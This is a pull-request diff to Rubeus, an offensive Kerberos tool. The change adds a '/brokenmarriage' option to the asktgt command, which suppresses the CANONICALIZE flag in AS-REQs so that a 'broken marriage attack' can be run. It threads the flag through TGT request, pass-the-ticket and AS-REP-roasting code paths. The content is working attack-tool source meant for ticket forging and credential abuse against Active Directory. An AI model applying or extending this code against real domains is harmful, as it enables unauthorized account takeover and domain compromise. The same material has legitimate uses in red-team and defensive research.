Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
8 changes: 7 additions & 1 deletion Rubeus/Commands/Asktgt.cs
Original file line number Diff line number Diff line change
Expand Up @@ -27,6 +27,7 @@ public void Execute(Dictionary<string, string> arguments)

bool ptt = false;
bool opsec = false;
bool brokenMarriage = false;
bool force = false;
bool verifyCerts = false;
bool getCredentials = false;
Expand Down Expand Up @@ -169,6 +170,11 @@ public void Execute(Dictionary<string, string> arguments)
}
}

if (arguments.ContainsKey("/brokenmarriage"))
{
brokenMarriage = true;
}

if (arguments.ContainsKey("/nopac"))
{
pac = false;
Expand Down Expand Up @@ -290,7 +296,7 @@ public void Execute(Dictionary<string, string> arguments)
}
}
else if (String.IsNullOrEmpty(certificate))
Ask.TGT(user, domain, hash, encType, outfile, ptt, dc, luid, true, opsec, servicekey, changepw, pac, proxyUrl, service, suppEncType, principalType);
Ask.TGT(user, domain, hash, encType, outfile, ptt, dc, luid, true, opsec, servicekey, changepw, pac, proxyUrl, service, suppEncType, principalType, brokenMarriage);
else
Ask.TGT(user, domain, certificate, password, encType, outfile, ptt, dc, luid, true, verifyCerts, servicekey, getCredentials, proxyUrl, service, changepw, principalType);

Expand Down
2 changes: 1 addition & 1 deletion Rubeus/Domain/Info.cs
Original file line number Diff line number Diff line change
Expand Up @@ -21,7 +21,7 @@ public static void ShowUsage()
Ticket requests and renewals:

Retrieve a TGT based on a user password/hash, optionally saving to a file or applying to the current logon session or a specific LUID:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/oldsam] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256] [/principaltype:principal|enterprise|x500|srv_xhost|srv_host|srv_inst]
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/oldsam] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256] [/principaltype:principal|enterprise|x500|srv_xhost|srv_host|srv_inst] [/brokenmarriage]

Retrieve a TGT based on a user password/hash, start a /netonly process, and to apply the ticket to the new process/logon session:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/opsec] [/nopac] [/oldsam] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256] [/principaltype:principal|enterprise|x500|srv_xhost|srv_host|srv_inst]
Expand Down
10 changes: 5 additions & 5 deletions Rubeus/lib/Ask.cs
Original file line number Diff line number Diff line change
Expand Up @@ -32,15 +32,15 @@ public KerberosErrorException(string message, KRB_ERROR krbError)

public class Ask
{
public static byte[] TGT(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, string outfile, bool ptt, string domainController = "", LUID luid = new LUID(), bool describe = false, bool opsec = false, string servicekey = "", bool changepw = false, bool pac = true, string proxyUrl = null, string service = null, Interop.KERB_ETYPE suppEtype = Interop.KERB_ETYPE.rc4_hmac, string principalType="principal")
public static byte[] TGT(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, string outfile, bool ptt, string domainController = "", LUID luid = new LUID(), bool describe = false, bool opsec = false, string servicekey = "", bool changepw = false, bool pac = true, string proxyUrl = null, string service = null, Interop.KERB_ETYPE suppEtype = Interop.KERB_ETYPE.rc4_hmac, string principalType="principal", bool brokenMarriage = false)
{
// send request without Pre-Auth to emulate genuine traffic
bool preauth = false;
if (opsec)
{
try
{
preauth = NoPreAuthTGT(userName, domain, keyString, etype, domainController, outfile, ptt, luid, describe, true, proxyUrl, service, suppEtype, opsec, principalType);
preauth = NoPreAuthTGT(userName, domain, keyString, etype, domainController, outfile, ptt, luid, describe, true, proxyUrl, service, suppEtype, opsec, principalType, brokenMarriage);
}
catch (KerberosErrorException) { }
}
Expand All @@ -52,7 +52,7 @@ public class Ask
{
Console.WriteLine("[*] Using {0} hash: {1}", etype, keyString);
Console.WriteLine("[*] Building AS-REQ (w/ preauth) for: '{0}\\{1}'", domain, userName);
AS_REQ userHashASREQ = AS_REQ.NewASReq(userName, domain, keyString, etype, opsec, changepw, pac, service, suppEtype, principalType);
AS_REQ userHashASREQ = AS_REQ.NewASReq(userName, domain, keyString, etype, opsec, changepw, pac, service, suppEtype, principalType, brokenMarriage);
return InnerTGT(userHashASREQ, etype, outfile, ptt, domainController, luid, describe, true, opsec, servicekey, false, proxyUrl);
}
}
Expand All @@ -76,10 +76,10 @@ public class Ask
return null;
}

public static bool NoPreAuthTGT(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, string domainController, string outfile, bool ptt, LUID luid = new LUID(), bool describe = false, bool verbose = false, string proxyUrl = null, string service = "", Interop.KERB_ETYPE suppEtype = Interop.KERB_ETYPE.rc4_hmac, bool opsec = true, string principalType="principal")
public static bool NoPreAuthTGT(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, string domainController, string outfile, bool ptt, LUID luid = new LUID(), bool describe = false, bool verbose = false, string proxyUrl = null, string service = "", Interop.KERB_ETYPE suppEtype = Interop.KERB_ETYPE.rc4_hmac, bool opsec = true, string principalType="principal", bool brokenMarriage = false)
{
byte[] response = null;
AS_REQ NoPreAuthASREQ = AS_REQ.NewASReq(userName, domain, suppEtype, opsec, service, principalType);
AS_REQ NoPreAuthASREQ = AS_REQ.NewASReq(userName, domain, suppEtype, opsec, service, principalType, brokenMarriage);

byte[] reqBytes = NoPreAuthASREQ.Encode().Encode();

Expand Down
15 changes: 11 additions & 4 deletions Rubeus/lib/krb_structures/AS_REQ.cs
Original file line number Diff line number Diff line change
Expand Up @@ -20,7 +20,7 @@ namespace Rubeus

public class AS_REQ
{
public static AS_REQ NewASReq(string userName, string domain, Interop.KERB_ETYPE etype, bool opsec = false, string service = null, string principalType = "principal")
public static AS_REQ NewASReq(string userName, string domain, Interop.KERB_ETYPE etype, bool opsec = false, string service = null, string principalType = "principal", bool brokenMarriage = false)
{
// build a new AS-REQ for the given userName, domain, and etype, but no PA-ENC-TIMESTAMP
// used for AS-REP-roasting
Expand Down Expand Up @@ -70,7 +70,10 @@ public static AS_REQ NewASReq(string userName, string domain, Interop.KERB_ETYPE
List<HostAddress> addresses = new List<HostAddress>();
addresses.Add(new HostAddress(hostName));
req.req_body.addresses = addresses;
req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE;
if (!brokenMarriage)
{
req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE;
}
req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1);
req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1);
req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac);
Expand All @@ -88,7 +91,7 @@ public static AS_REQ NewASReq(string userName, string domain, Interop.KERB_ETYPE
return req;
}

public static AS_REQ NewASReq(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, bool opsec = false, bool changepw = false, bool pac = true, string service = null, Interop.KERB_ETYPE suppEtype = Interop.KERB_ETYPE.rc4_hmac, string principalType = "principal")
public static AS_REQ NewASReq(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, bool opsec = false, bool changepw = false, bool pac = true, string service = null, Interop.KERB_ETYPE suppEtype = Interop.KERB_ETYPE.rc4_hmac, string principalType = "principal", bool brokenMarriage = false)
{
// build a new AS-REQ for the given userName, domain, and etype, w/ PA-ENC-TIMESTAMP
// used for "legit" AS-REQs w/ pre-auth
Expand Down Expand Up @@ -143,7 +146,11 @@ public static AS_REQ NewASReq(string userName, string domain, string keyString,
List<HostAddress> addresses = new List<HostAddress>();
addresses.Add(new HostAddress(hostName));
req.req_body.addresses = addresses;
req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE;
if (!brokenMarriage)
{
// When performing a broken marriage attack we don't want to canonicalize the ticket
req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE;
}
req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1);
req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1);
req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac);
Expand Down